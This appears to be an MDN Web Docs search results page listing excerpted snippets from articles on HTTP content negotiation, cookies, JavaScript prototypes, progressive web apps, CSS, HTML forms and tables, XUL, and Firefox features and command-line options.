Content negotiation - HTTP
the server (agent-driven negotiation or reactive negotiation), that are used as fallback mechanisms. over the years, other content negotiation proposals, like transparent content negotiation and the alternates header, have been proposed. they failed to get traction and got abandoned. server-driven content negotiation in server-driven content negotiation, or proactive content negotiation, the browser (or any other kind of user-agent) sends several http headers along with the url. these headers describe the preferred choice of the user. the server uses them as hints and an internal algorithm chooses the best content to serve to the client. the algorithm is server-specific and not defined in the standard. see, for example, the apache negotiation algorithm. the http/1.1 standard defines lis...
...to add more headers to the list of available headers, called client hints. client hints advertise what kind of device the user agent runs on (for example, if it is a desktop computer or a mobile device). even if server-driven content negotiation is the most common way to agree on a specific representation of a resource, it has several drawbacks: the server doesn't have total knowledge of the browser. even with the client hints extension, it has not a complete knowledge of the capabilities of the browser. unlike reactive content negotiation where the client makes the choice, the server choice is always somewhat arbitrary. the information by the client is quite verbose (http/2 header compression mitigates this problem) and a privacy risk (http fingerprinting) as several representations of ...
...ed caches are less efficient and server implementations are more complex. the accept header the accept header lists the mime types of media resources that the agent is willing to process. it is comma-separated lists of mime types, each combined with a quality factor, a parameter indicating the relative degree of preference between the different mime types. ...
...And 7 more matches
Using HTTP cookies - HTTP
Web › HTTP › Cookies
it remembers stateful information for the stateless http protocol. cookies are mainly used for three purposes: session management logins, shopping carts, game scores, or anything else the server should remember personalization user preferences, themes, and other settings tracking recording and analyzing user behavior cookies were once used for general client-side storage. ...
...e are the web storage api (localstorage and sessionstorage) and indexeddb. to see stored cookies (and other storage that a web page can use), you can enable the storage inspector in developer tools and select cookies from the storage tree. creating cookies after receiving an http request, a server can send one or more set-cookie headers with the response. the cookie is usually stored by the browser, and then the cookie is sent with requests made to the same server inside a cookie http header. an expiration date or duration can be specified, after which the cookie is no longer sent. additional restrictions to a specific domain and path can be set, limiting where the cookie is sent. for details about the header attributes mentioned below, refer to the set-cookie reference article. the set-...
... header sends cookies from the server to the user agent. a simple cookie is set like this: set-cookie: <cookie-name>=<cookie-value> this shows the server sending headers to tell the client to store a pair of cookies: http/2.0 200 ok content-type: text/html set-cookie: yummy_cookie=choco set-cookie: tasty_cookie=strawberry [page content] then, with every subsequent request to the server, the browser sends back all previously stored cookies to the server using the cookie header. get /sample_page.html http/2.0 host: www.example.org cookie: yummy_cookie=choco; tasty_cookie=strawberry note: here's how to use the set-cookie header in various server-side applications: php node.js python ruby on rails define the lifetime of a cookie the lifetime of a cookie can be defined in two ways:...
...And 7 more matches
Inheritance and the prototype chain - JavaScript
d of the prototype chain is reached. following the ecmascript standard, the notation someobject.[[prototype]] is used to designate the prototype of someobject. since ecmascript 2015, the [[prototype]] is accessed using the accessors object.getprototypeof() and object.setprototypeof(). this is equivalent to the javascript property __proto__ which is non-standard but de-facto implemented by many browsers. it should not be confused with the func.prototype property of functions, which instead specifies the [[prototype]] to be assigned to all instances of objects created by the given function when used as a constructor. the object.prototype property represents the object prototype object. here is what happens when trying to access a property: // let's create an object o from function f with i...
...ed prototype. please note that the code below is free-standing (it is safe to assume there is no other javascript on the webpage other than the below code). for the best learning experience, it is highly recommended that you open a console, navigate to the "console" tab, copy-and-paste in the below javascript code, and run it by pressing the enter/return key. (the console is included in most web browser's developer tools. more information is available for firefox developer tools, chrome devtools, and edge devtools.) function dosomething(){} console.log( dosomething.prototype ); // it does not matter how you declare the function, a // function in javascript will always have a default // prototype property. // (ps: there is one exception that arrow function doesn't have a default prototype ...
... isprototypeof: ƒ isprototypeof(), propertyisenumerable: ƒ propertyisenumerable(), tolocalestring: ƒ tolocalestring(), tostring: ƒ tostring(), valueof: ƒ valueof() } } } as seen above, the __proto__ of dosomeinstancing is dosomething.prototype. but, what does this do? when you access a property of dosomeinstancing, the browser first looks to see if dosomeinstancing has that property. if dosomeinstancing does not have the property, then the browser looks for the property in the __proto__ of dosomeinstancing (a.k.a. dosomething.prototype). if the __proto__ of dosomeinstancing has the property being looked for, then that property on the __proto__ of dosomeinstancing is used. otherwise, if the __proto__ of dosomeinstan...
...And 7 more matches
Performance fundamentals - Web Performance
what is performance? ultimately, user-perceived performance is the only performance that matters. users provide inputs to the system through touch, movement, and speech. in return, they perceive outputs through sight, touch, and hearing. performance is the quality of system outputs in response to user inputs. ...
...r more of the application performance factors discussed above. use css animations and transitions instead of using some library’s animate() function, which probably currently uses many badly performing technologies (window.settimeout() or top/left positioning, for example) use css animations. in many cases, you can actually use css transitions to get the job done. this works well because the browser is designed to optimize these effects and use the gpu to handle them smoothly with minimal impact on processor performance. another benefit is that you can define these effects in css along with the rest of your app's look-and-feel, using a standardized syntax. css animations give you very granular control over your effects using keyframes, and you can even watch events fired during the animat...
...if you want to create animations on the fly or modify them in javascript, james long has written a simple library for that called css-animations.js. use css transforms instead of tweaking absolute positioning and fiddling with all that math yourself, use the transform css property to adjust the position, scale, and so forth of your content. the reason is, once again, hardware acceleration. the browser can do these tasks on your gpu, letting the cpu handle other things. in addition, transforms give you capabilities you might not otherwise have. not only can you translate elements in 2d space, but you can transform in three dimensions, skew and rotate, and so forth. paul irish has an in-depth analysis of the benefits of translate() from a performance point of view. in general, however, you ha...
...And 7 more matches
Privacy, permissions, and information security
in this article, we examine how to create web content that minimizes the risk of users' personal information or imagery being obtained unexpectedly by third parties. ...
...rity practices aim to prevent unauthorized access to systems or data, regardless of what the target is. ...
...what the target is. personal and private information <what kind of information is private or personal?> privacy risks <what are ways personal information can be gotten by third parties?> fingerprinting fingerprinting is a technique used to gather a variety of information that's made available by a user's browser and collating it until it becomes possible to uniquely identify that user's browser. ...
...And 7 more matches
How to make PWAs installable - Progressive web apps (PWAs)
an go even further and allow users to install the web app on mobile and desktop browers that support doing so. the installed web app can then be launched by users just as if it were any native app. this article explains how to achieve this using the web app's manifest. ...
...be launched directly from the device's home screen, rather than the user having to open the browser and then navigate to the site by using a bookmark or typing the url. your web app can sit next to native applications as first class citizens. this makes the web app easier to access; additionally, you can specify that the app be launched in fullscreen or standalone mode, thus removing the default browser user interface that would otherwise be present, creating an even more seamless and native-like feel. requirements to make the web site installable, it needs the following things in place: a web manifest, with the correct fields filled in the web site to be served from a secure (https) domain an icon to represent the app on the device a service worker registered, to allow the app to work...
... the manifest file the key element is a web manifest file, which lists all the information about the website in a json format. it usually resides in the root folder of a web app. it contains u...
...And 7 more matches
Introduction to progressive web apps - Progressive web apps (PWAs)
e than to install an application, and you can also share web apps by simply sending a link. on the other hand, native apps are better integrated with the operating system and therefore offer a more seamless experience for the users. you can install a native app so that it works offline, and users love tapping their icons to easily access their favorite apps, rather than navigating to it using a browser. pwas give us the ability to create web apps that can enjoy these same advantages. it's not a brand new concept—such ideas have been revisited many times on the web platform with various approaches in the past. progressive enhancement and responsive design already allow us to build mobile friendly websites. pwas, however, provide all this and more without losing any of the existing feature...
... to observe to be identified as a pwa. it should be: discoverable, so the contents can be found through search engines. installable, so it can be available on the device's home screen or app launcher. linkable, so you can share it by simply sending a url. network independent, so it works offline or with a poor network connection. progressive, so it's still usable on a basic level on older browsers, but fully-functional on the latest ones. re-engageable, so it's able to send notifications whenever there's new content available. responsive, so it's usable on any device with a screen and a browser—mobile phones, tablets, laptops, tvs, refrigerators, etc. safe, so the connections between the user, the app, and your server are secured against any third parties trying to get access to se...
...ll worth trying out a pwa approach, so you can see for yourself if it works for your app. advantages of web applications a fully-capable progressive web application should provide all of the following advantages to the user. discoverability the eventual aim is that web apps should have better representation in search engines, be easier to expose, catalog and rank, and have metadata usable by browsers to give them special capabilities. some of the capabilities have already been enabled on certain web-based platforms by proprietary technologies like open graph, which provides a format for specifying similar metadata in the html <head> block using <meta> tags. the relevant web standard here is the web app manifest, which defines features of an app such as name, icon, splash screen, and them...
...And 7 more matches
How to turn off form autocompletion - Web security
this article explains how a website can disable autocomplete for form fields. by default, browsers remember information that the user submits through <input> fields on websites. this enables the browser to offer autocompletion (that is, suggest possible completions for fields that the user has started typing in) or autofill (that is, pre-populate certain fields upon load). these features are usually enabled by default, but they can be a privacy concern for users, so browsers can let users disable them. ...
... load). these features are usually enabled by default, but they can be a privacy concern for users, so browsers can let users disable them. however, some data submitted in forms either are not useful in the future (for example, a one-time pin) or contain sensitive information (for example, a unique government identifier or credit card security code). as website author, you might prefer that the browser not remember the values for such fields, even if the browser's autocomplete feature is enabled. note that the wcag 2.1 success criterion 1.3.5: identify input purpose does not require that autocomplete/autofill actually work - merely that form fields that relate to specific personal user information are programmatically identified. this means that the criterion can be passed (by adding the rel...
...when form data is cached in session history, the information filled in by the user is shown in the case where the user has submitted the form and clicked the back button to go back to the original f...
...And 7 more matches
jpm - Archive of obsolete content
in the process of developing) in the branded release or beta versions of firefox. thus, you will need to download and install a different version of firefox. assuming you don't want an old version of firefox, your options are firefox developer edition, firefox nightly, unbranded beta, or unbranded release. when testing your add-on, you will need to use the -b option to jpm run. see selecting a browser version. problems? if you do not see this, ask for help. sdk users and project team members discuss problems and proposals on the project mailing list. someone else may have had the same problem you do, so try searching the list. you are welcome to post a question, too. you can also chat with other sdk users in #jetpack on mozilla's irc network. command reference jpm supports the following ...
... test-index.js jpm run this command runs a new instance of firefox with the add-on installed: jpm run jpm run accepts the following options: -b --binary binary use the version of firefox specified in binary. binary may be specified as a full path or as a path relative to the current directory. ...
... -b --binary binary use the version of firefox specified in binary. binary may be specified as a full path or as a path relative to the current directory. jpm run -b /path/to/firefox/nightly see selecting a browser version. --binary-args cmdargs pass extra arguments to firefox. for example, to pass the -jsconsole argument to firefox and launch the browser console, try the following: jpm run --binary-args -jsconsole to pass multiple arguments, or arguments containing spaces, quote them: jpm run --binary-args '-url mzl.la -jsconsole' --debug run the add-on debugger attached to the add-on. -o --overload path rather than use the sdk modules built into firefox, use the modules found at path. if -o is sp...
...And 6 more matches
Plug-n-Hack - Archive of obsolete content
overview plug-n-hack (pnh) is a proposed standard from the mozilla security team for defining how security tools can interact with browsers in a more useful and usable way. security researchers commonly use security tools in conjunction with browsers, but until now direct integration has required writing platform and browser specific extensions. configuring a browser to work with a security tool can be a non-trivial process, and this can discourage people with less experience from using such tools. ...
...but until now direct integration has required writing platform and browser specific extensions. configuring a browser to work with a security tool can be a non-trivial process, and this can discourage people with less experience from using such tools. ...
...owser to work with a security tool can be a non-trivial process, and this can discourage people with less experience from using such tools. ...
...And 6 more matches
Table Cellmap - Archive of obsolete content
ame. now that union uses the fact all addresses of real tablecellframes are aligned at even boundaries, or in other words they cant have an odd address. if the address is odd then it holds some other info (mbits). easy table cellmap just imagine a 2x2 table. <table> <tr><td>cell 1</td><td>cell 2</td></tr> <tr><td>cell 3</td><td>cell 4</td></tr> </table> this would create a cellmap with two rows and in each row 2 entries. each entry in the cellmap wold have a direct link to the corresponding tablecellframes. tables with footers, headers etc. take the same table and adder a header <table> <thead> <tr><td>head cell 1</td><td>head cell 2</td></tr> </thead> <tbody> <tr><td>cell 1</td><td>cell 2</td></tr> <tr><td>cell 3</td><td>cell 4</td></tr> </tbody> </table> now we have two...
...entry in the cellmap wold have a direct link to the corresponding tablecellframes. tables with footers, headers etc. take the same table and adder a header <table> <thead> <tr><td>head cell 1</td><td>head cell 2</td></tr> </thead> <tbody> <tr><td>cell 1</td><td>cell 2</td></tr> <tr><td>cell 3</td><td>cell 4</td></tr> </tbody> </table> now we have two different rowgroups and and the rowspans can not cross the borders between the different rowgroups. (ref xhtml-2.0). further the table header and footer will be repeated on every page when printed out. due to this behind the cellmap for the table we will find a cellmap for every rowgroup. in this low level cellmap the row count begins every time with 0. a typical code segment to come from the table level down to the rowgroup level ...
...is low level cellmap the row count begins every time with 0. a typical code segment to come from the table level down to the rowgroup level nscellmap* map = mfirstmap; while (map) { if (map->getrowcount() > rowindex) { // add your action here } rowindex -= map->getrowcount(); map = map->getnextsibling(); } data entry the usual way to populate the cellmap is via nstableframe::insertrows. ...
...And 6 more matches
ContextMenus - Archive of obsolete content
bute should be the id of a context menu within the same document. in the example, a context menu is attached to a grid. ...
...ld be the id of a context menu within the same document. in the example, a context menu is attached to a grid. ...
...ttached to a grid. <window id="main-window"> <popupset> <menupopup id="ins-del-menu"> <menuitem label="insert"/> <menuitem label="delete"/> </menupopup> </popupset> </window> <grid context="ins-del-menu"> <columns> <column/> <column flex="1"/> </columns> <rows id="rows"> <row align="center"> <label value="name:"/> <textbox/> </row> </rows> </grid> the same context menu can be attached to multiple elements. just set the context attribute on those elements you want the context menu to apply to. one technique is to attach a context menu to an entire document area. for instance, the firefox browser applies a single context menu to the browser area which displays web pages. for example, the following will attach a context menu with ...
...And 6 more matches
List Controls - Archive of obsolete content
ents to create lists, a listbox element to create multi-row list boxes, and a menulist element to create drop-down list boxes. they work similar to the html select element, which performs both functions, but the xul elements have additional features. the simplest list box uses the listbox element for the box itself, and the listitem element for each item. for example, this list box will have four rows, one for each item. example 1 : source view <listbox> <listitem label="butter pecan" /> <listitem label="chocolate chip" /> <listitem label="raspberry ripple" /> <listitem label="squash swirl" /> </listbox> like with the html option element, you can assign a value for each item using the value attribute. you can then use the value in a script. the list box will default to a suitable...
... <listbox> <listitem label="butter pecan" /> <listitem label="chocolate chip" /> <listitem label="raspberry ripple" /> <listitem label="squash swirl" /> </listbox> like with the html option element, you can assign a value for each item using the value attribute. you can then use the value in a script. ...
... pecan" /> <listitem label="chocolate chip" /> <listitem label="raspberry ripple" /> <listitem label="squash swirl" /> </listbox> like with the html option element, you can assign a value for each item using the value attribute. you can then use the value in a script. the list box will default to a suitable size, but you can control the size with the rows attribute. set it to the number of rows to display in the list box. ...
...And 6 more matches
Tree Box Objects - Archive of obsolete content
d to handle how a tree is displayed. about the tree box object box objects were described in an earlier section. the tree box object is a specialized box object used specifically for trees. the tree box implements the treeboxobject interface. redrawing the tree we already saw the rowcountchanged() function of the tree box object in the previous section. it is used to indicate that one or more rows have been added to the tree or removed from the tree. the tree will redraw the affected area. you don't need to call the rowcountchanged() function when a row has simply changed in some way, for example if a cell's label changes. in this case, there are other drawing functions that can be used. the simplest is to call invalidaterow() which will redraw a specific row in the tree. the tree will cal...
...se, there are other drawing functions that can be used. the simplest is to call invalidaterow() which will redraw a specific row in the tree. the tree will call the view to get the updated data and update the contents of the tree on screen. other redrawing functions are invalidatecell() to redraw only a single cell invalidatecolumn() to redraw a column invalidaterange() to redraw a range of rows invalidate() to redraw the entire tree. note that redrawing does not occur until the calling script ends since mozilla does not redraw in the background. note: it is not necessary to run tree.boxobject.queryinterface(components.interfaces.nsitreeboxobject) as shown in the code examples on this page because: let boxobject = tree.treeboxobject; note: is equivalent to: let boxobject = tree.b...
...ction may be used to scroll to a particular row. here is a simple example. ...
...And 6 more matches
Using Remote XUL - Archive of obsolete content
ce(components.interfaces.nsipermissionmanager) .add(uri, 'allowxulxbl', components.interfaces.nsipermissionmanager.allow_action); xul (pronounced like "zool"), which is short for xml-based user interface language, is an xml-based language for describing application interfaces. it contains elements for all common ui widgets (menus, buttons, toolbars, etc.) and many sophisticated ones (trees, browsers, color pickers). xul is often used by desktop applications like mozilla but can also be loaded from a web server and rendered inside the content pane of a compatible browser. xul loaded and rendered in this way is called remote xul and can be used for basic functions like web site navigation as well as to build sophisticated web-based applications. [***aw: we should have a screenshot here of...
...o much space, dhtml menus are slow and buggy, and site maps make you go to an intermediate page to find the information you want. xul's navigation-oriented widgets, like toolbars, menus, and trees, are a better way to provide web site navigation because they can fit a lot of navigation into a small space, render quickly, and work well. note: the downside to using xul is that it only works with browsers that understand it. this isn't a problem inside an organization that uses mozilla-based browsers exclusively, but for other sites you may need to provide another form of navigation as well. prerequisites to understand this tutorial you should have experience with tag-based languages like html along with basic javascript, css, and the dom. knowledge of xml and its syntax is useful but not req...
... if you build a xul file along with this tutorial and put it onto a web server, you need to configure your web server to specify the content type of xul files as application/vnd.mozilla.xul+xml. ...
...And 6 more matches
What is CSS? - Learn web development
vers some key terms about the language. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, and html basics (study introduction to html.) objective: to learn what css is. in the introduction to html module we covered what html is, and how it is used to mark up documents. ...
... to learn what css is. in the introduction to html module we covered what html is, and how it is used to mark up documents. these documents will be readable in a web browser. headings will look larger than regular text, paragraphs break onto a new line and have space between them. links are colored and underlined to distinguish them from the rest of the text. what you are seeing is the browser's default styles — very basic styles that the browser applies to html to make sure it will be basically readable even if no explicit styling is specified by the author of the page. however, the web would be a boring place if all websites looked like that. using css you can control exactly how html elements look in the browser, presenting your markup using whatever design you like. for mor...
...efault styles — very basic styles that the browser applies to html to make sure it will be basically readable even if no explicit styling is specified by the author of the page. however, the web would be a boring place if all websites looked like that. using css you can control exactly how html elements look in the browser, presenting your markup using whatever design you like. for more on browser/default styles, check out the following video: what is css for? as we have mentioned before, css is a language for specifying how documents are presented to users — how they are styled, laid out, etc. a document is usually a text file structured using a markup language — html is the most common markup language, but you may also come across other markup languages such as svg or xml. pr...
...And 6 more matches
Fundamental text and font styling - Learn web development
) color the color property sets the color of the foreground content of the selected elements (which is usually the text, but can also include a couple of other things, such as an underline or overline placed on text using the text-decoration property). color can accept any css color unit, for example: p { color: red; } this will cause the paragraphs to become red, rather than the standard browser default black, like so: <h1>tommy the cat</h1> <p>well i remember it as though it were a meal ago...</p> <p>said tommy the cat as he reeled back to clear whatever foreign matter may have nestled its way into his mighty throat. many a fat alley rat had met its demise while staring point blank down the cavernous barrel of this awesome prowling machine. truly a wonder of nature this urban pr...
...its demise while staring point blank down the cavernous barrel of this awesome prowling machine. truly a wonder of nature this urban predator — tommy the cat had many a story to tell. but it was a rare occasion such as this that he did.</p> font families to set a different font on your text, you use the font-family property — this allows you to specify a font (or list of fonts) for the browser to apply to the selected elements. the browser will only apply a font if it is available on the machine the website is being accessed on; if not, it will just use a browser default font. a simple example looks like so: p { font-family: arial; } this would make all paragraphs on a page adopt the arial font, which is found on any computer. web safe fonts speaking of font availability, there...
...age, to allow you to customize your font usage in any way you want: web fonts. this is a little bit more complex, and we will be discussing this in a separate article later on in the module. default fonts css defines five generic names for fonts: serif, sans-serif, monospace, cursive and fantasy. those are very generic and the exact font face used when using those generic names is up to each browser and can vary for each operating system they are running on. it represents a worst case scenario where the browser will try to do its best to provide at least a font that looks appropriate. serif, sans-serif and monospace are quite predictable and should provide something reasonable. on the other hand, cursive and fantasy are less predictable and we recommend using them very carefully, testing a...
...And 6 more matches
How can we design for all types of users? - Learn web development
y-impaired people to read this page. font size you can specify font size on a website either through relative units or absolute units. absolute units absolute units are not proportionally calculated but refer to a size set in stone, so to speak, and are expressed most of the time in pixels (px). for instance, if in your css you declare this: body { font-size:16px; } … you are telling the browser that whatever happens, the font size must be 16 pixels. modern browsers get around this rule by pretending that you're asking for "16 pixels when the user sets a zoom factor of 100%". yet, for many years internet explorer adamantly displayed 16 pixels as 16 pixels. in this case, zooming did nothing, even as late as internet explorer 8, which we still have to cater to because it's still around.
...n as late as internet explorer 8, which we still have to cater to because it's still around. relative units also called proportional units, relative units are computed relative to a parent element. relative units are friendlier to accessibility because they respect the settings on the user's system. relative units are expressed in em, % and rem: percent-based sizes: % this unit tells your browser that an element's font size must be n% of the previous element whose font size was expressed. if no parent can be found, the default font size within the browser is considered as the base size for the calculation (usually the equivalent of 16 pixels). em-based sizes: em this unit is calculated the same way as percents, except that you compute in portions of 1 and not portions of 100. it is sa...
...the default font size (usually 16px). ...
...And 6 more matches
Sending form data - Learn web development
ver-side programming. objective: to understand what happens when form data is submitted, including getting a basic idea of how data is processed on the server first we'll discuss what happens to the data when a form is submitted. client/server architecture at it's most basic, the web uses a client/server architecture that can be summarized as follows. a client (usually a web browser) sends a request to a server (most of the time a web server like apache, nginx, iis, tomcat, etc.), using the http protocol. the server answers the request using the same protocol. an html form on a web page is nothing more than a convenient user-friendly way to configure an http request to send data to a server. this enables the user to provide information to be delivered in the http reques...
...e that the form is present on: <form> note: it's possible to specify a url that uses the https (secure http) protocol. when you do this, the data is encrypted along with the rest of the request, even if the form itself is hosted on an insecure page accessed using http. on the other hand, if the form is hosted on a secure page but you specify an insecure http url with the action attribute, all browsers display a security warning to the user each time they try to send data because the data will not be encrypted. the names and values of the non-file form controls are sent to the server as name=value pairs joined with ampersands. the action value should be a file on the server that can handle the incoming data, including ensuring server-side validation. the server then responds, generally han...
...ribute the method attribute defines how data is sent. the http protocol provides several ways to perform a request; html form data can be transmitted via a number of different methods, the most common being the get method and the post method to understand the difference between those two methods, let's step back and examine how http works. ...
...And 6 more matches
Styling web forms - Learn web development
previous overview: forms next in the previous few articles we looked at all the html you'll need to create and structure your web forms. in this article we will move on to looking at how to use css to style your form controls. this has historically been difficult — form controls vary greatly in how easy they are to customize with css — but it is getting easier as old browsers are retired and modern browsers give us more features to use. prerequisites: basic computer literacy, and a basic understanding of html and css. objective: to understand the issues behind styling forms, and learn some of the basic styling techniques that will be useful to you. why is styling form widgets challenging? form controls were added to html in the html 2 speci...
...c computer literacy, and a basic understanding of html and css. objective: to understand the issues behind styling forms, and learn some of the basic styling techniques that will be useful to you. why is styling form widgets challenging? form controls were added to html in the html 2 specification in 1995; css wasn't released until late 1996, and wasn't supported very well by browsers for a few years after that. browsers relied on the underlying operating system to manage and render form controls. and even with css available to style html, browser vendors have historically been reluctant to make form controls stylable because users were so accustomed to the visual appearance of their respective platforms. but this has changed. website owners want form styles that fit in wi...
... you really have to create your own using html, css, and javascript. this is beyond the scope of the core form articles, but we do look at this in an advanced article how to build custom form controls. note: there are some proprietary css pseudo-elements available that allow you to style internal components of these form controls, such as ::-moz-range-track, but these are not consistent across browsers, so can't be relied upon. we will mention these later as well. the good to style form controls that are easy to style with css, you shouldn't face much if any difficulties, since they mostly behave like any other html element. we already looked at some simple form styling in your first form, and the css building blocks module contains some useful form styling essentials too. as well as the...
...And 6 more matches
Getting started with HTML - Learn web development
ere will be an opportunity to play with html too! prerequisites: basic computer literacy, basic software installed, and basic knowledge of working with files. objective: to gain basic familiarity with html, and practice writing a few html elements. what is html? html (hypertext markup language) is not a programming language. it is a markup language that tells web browsers how to structure the web pages you visit. it can be as complicated or as simple as the web developer wants it to be. html consists of a series of elements, which you use to enclose, wrap, or mark up different parts of content to make it appear or act in a certain way. the enclosing tags can make content into a hyperlink to connect to another page, italicize words, and so on. for example, cons...
...ove, we opened the p element first, then opened the strong element. for proper nesting, we should close the strong element first, before closing the p. the following is an example of the wrong way to do nesting: <p>my cat is <strong>very grumpy.</p></strong> the tags have to open and close in a way that they are inside or outside one another. with the kind of overlap in the example above, the browser has to guess at your intent. this kind of guessing can result in unexpected results. block versus inline elements there are two important categories of elements to know in html: block-level elements and inline elements. block-level elements form a visible block on a page. a block-level element appears on a new line following the content that precedes it. any content that follows a block-le...
...ider the following example: <em>first</em><em>second</em><em>third</em> <p>fourth</p><p>fifth</p><p>sixth</p> <em> is an inline element. as you see below, the first three elements sit on the same line, with no space in between. on the other hand, <p> is a block-level element. each p element appears on a new line, with space above and below. (the spacing is due to default css styling that the browser applies to paragraphs.) note: html5 redefined the element categories: see element content categories. while these definitions are more accurate and less ambiguous than their predecessors, the new definitions are a lot more complicated to understand than block and inline. this article will stay with these two terms. note: the terms block and inline, as used in this article, should not be ...
...And 6 more matches
HTML table basics - Learn web development
Learn › HTML › Tables › Basics
overview: tables next this article gets you started with html tables, covering the very basics such as rows and cells, headings, making cells span multiple columns and rows, and how to group together all the cells in a column for styling purposes. prerequisites: the basics of html (see introduction to html). objective: to gain basic familiarity with html tables. what is a table ? a table is a structured set of data made up of rows and columns (tabular data). a table allows you to quickly and easily look up values that indicate some kind of connection between different types of data, for example a person and their age, or a day of the week, or the timetable for a local swimming pool. tables are very commonly used in human society, and have been for...
...be used for tabular data — this is what they are designed for. unfortunately, a lot of people used to use html tables to lay out web pages, e.g. one row to contain the header, one row to contain the content columns, one row to contain the footer, etc. you can find more details and an example at page layouts in our accessibility learning module. this was commonly used because css support across browsers used to be terrible; table layouts are much less common nowadays, but you might still see them in some corners of the web. in short, using tables for layout rather than css layout techniques is a bad idea. the main reasons are as follows: layout tables reduce accessibility for visually impaired users: screenreaders, used by blind people, interpret the tags that exist in an html page and re...
... example as you saw above. to recognize the table headers as headers, both visually and semantically, you can use the <th> element ('th' stands for 'table header'). this works in exactly the same way as a <td>, except that it denotes a header, not a normal cell. go into your html, and change all the <td> elements surrounding the table headers into <th> elements. save your html and load it in a browser, and you should see that the headers now look like headers. note: you can find our finished example at dogs-table-fixed.html on github (see it live also). why are headers useful? we have already partially answered this question — it is easier to find the data you are looking for when the headers clearly stand out, and the design just generally looks better. note: table headings come w...
...And 6 more matches
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
tedly execute a block of code asynchronously until you tell it to stop. these functions are: settimeout() execute a specified block of code once after a specified time has elapsed. setinterval() execute a specified block of code repeatedly with a fixed time delay between each call. requestanimationframe() the modern version of setinterval(). executes a specified block of code before the browser next repaints the display, allowing an animation to be run at a suitable framerate regardless of the environment it is being run in. the asynchronous code set up by these functions runs on the main thread (after their specified timer has elapsed). it's important to know that you can (and often will) run other code before a settimeout() call executes, or between iterations of setinterval(). ...
...llbacks you pass to these functions cannot run until the stack on the main thread is empty. as a consequence, code like settimeout(fn, 0) will execute as soon as the stack is empty, not immediately. if you execute code like settimeout(fn, 0) but then immediately after run a loop that counts from 1 to 10 billion, your callback will be executed after a few seconds. in the following example, the browser will wait two seconds before executing the anonymous function, then will display the alert message (see it running live, and see the source code): let mygreeting = settimeout(function() { alert('hello, mr. universe!'); }, 2000) the functions you specify don't have to be anonymous. you can give your function a name, and even define it somewhere else and pass a function reference to the setti...
...emo').textcontent = time; } const createclock = setinterval(displaytime, 1000); just like settimeout(), setinterval() returns an identifying value you can use later when you need to clear the interval. clearing intervals setinterval() keeps running a task forever, unless you do something about it. you'll probably want a way to stop such tasks, otherwise you may end up getting errors when the browser can't complete any further versions of the task, or if the animation being handled by the task has finished. you can do this the same way you stop timeouts — by passing the identifier returned by the setinterval() call to the clearinterval() function: const myinterval = setinterval(myfunction, 2000); clearinterval(myinterval); active learning: creating your own stopwatch! with this all sa...
...And 6 more matches
Accessibility Features in Firefox
linux currently boasts the best onscreen keyboard support in the industry via gok, the gnome onscreen keyboard. basic screen reader accessibility is available via the fire vox extension. fire vox can also be used on windows or os x. for more detailed information, please check the assistive technology compatibility guide is kept on an editable wiki. ...
...available via the fire vox extension. fire vox can also be used on windows or os x. for more detailed information, please check the assistive technology compatibility guide is kept on an editable wiki. keyboard support "mozilla firefox is a web-browser with superior keyboard support." alan cantor, cantor access consulting firefox includes keyboard access to all of its amazing features: browse with caret allows users to select arbitrary content with the keyboard and move through content as if inside a read-only editor. ...
...eb-browser with superior keyboard support." alan cantor, cantor access consulting firefox includes keyboard access to all of its amazing features: browse with caret allows users to select arbitrary content with the keyboard and move through content as if inside a read-only editor. this allows copying arbitrary pieces of text to the clipboard. the f7 key toggles this feature on/off. tabbed browsing helps keyboard users by putting all of the browsed documents in one firefox application window rather than cluttering the alt+tab order which makes keyboard navigation within the entire windows os much simpler. both history and bookmarks can be searched with a "quick search" field that quickly narrows the list down via a substring search. bookmarks can have a keyword assigned to them which c...
...And 6 more matches
Adding phishing protection data providers
vider for phishing protection, it's necessary to set a series of preferences to provide details about the provider. each data provider has a unique id number. the data provider with the id number 0 is the default data provider shipped with firefox. when installing a new provider, you should use the next unused number. ...
...ishing protection, it's necessary to set a series of preferences to provide details about the provider. each data provider has a unique id number. the data provider with the id number 0 is the default data provider shipped with firefox. when installing a new provider, you should use the next unused number. ...
...ry to set a series of preferences to provide details about the provider. each data provider has a unique id number. the data provider with the id number 0 is the default data provider shipped with firefox. when installing a new provider, you should use the next unused number. ...
...And 6 more matches
Command line options
e: since firefox 9, this does really mean what its name implies on all platforms, i.e. instances created with this parameter do not accept or send remote commands, see bug 650078. that means that such instances won't be re-used. also when using this argument a new instance is created in any case. -override /path/to/override.ini load the specified override.ini file to override application.ini (browser/app/application.ini). this can be used to suppress the migration wizard at startup by loading the following override.ini. firefox only. [xre] enableprofilemigrator=0 -profilemanager start with profile manager. short form: -p without a profile name. -p "profile_name" bypass profile manager and launch application with the profile named profile_name. useful for dealing with multiple profiles.
...tforms accept both upper and lower case. -profile "profile_path" start with the profile with the given path. firefox, thunderbird and seamonkey2.x only. "profile_path" can either be an absolute path ("/path/to/profile") or a relative path ("path/to/profile"). note: on mac os x specifying a relative path is not supported anymore from firefox 4.0 and up due to a regression, see bug 673955. browser -browser start with the browser component. firefox and seamonkey only. -foreground make this instance the active application. -new-tab url open url in a new tab. firefox and seamonkey2.x only. -new-window url open url in a new window. firefox and seamonkey2.x only. --kiosk url open url full screen without user interface. firefox 71 and later. -preferences open options/preferences wi...
...ound make this instance the active application. -new-tab url open url in a new tab. firefox and seamonkey2.x only. -new-window url open url in a new window. firefox and seamonkey2.x only. --kiosk url open url full screen without user interface. firefox 71 and later. -preferences open options/preferences window. firefox and seamonkey2.x only. ...
...And 6 more matches
Creating a Language Pack
fox-source-docs. to create a language pack, or a localization repack, you first need to go through the initial setup process. pre-build steps in the .mozconfig, you want to have mk_add_options moz_objdir=@topsrcdir@/obj-firefox-build ac_add_options --disable-compile-environment ac_add_options --with-l10n-base=../l10n-central # path relative to moz_objdir ac_add_options --enable-application=[browser or mail] the given path should have your localization directory as child (i.e., a subdirectory ab-cd where ab-cd is your locale code). you still need to specify which application you're localizing (e.g., for firefox, that's browser, thunderbird would be mail). configure step you need to prepare the build directory, which is done with ./mach configure you only need to run this if the ver...
